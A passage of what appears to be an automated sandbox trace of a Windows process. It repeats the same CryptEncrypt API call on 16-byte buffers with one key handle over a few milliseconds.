pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.626] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.627] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.627] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.627] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.627] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.627] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.627] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.627] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.628] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.629] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.629] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.629] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.629] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.629] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.629] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.629] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.629] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.629] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.629] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.629] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.629] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.629] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.629] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.629] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.629] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.629] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.629] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.629] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.630] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.630] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.630] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.630] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.630] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.630] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.630] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.630] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.630] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.630] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.630] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.630] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.630] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.630] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.630] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.630] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.630] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.631] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.631] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.631] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.631] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.631] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: 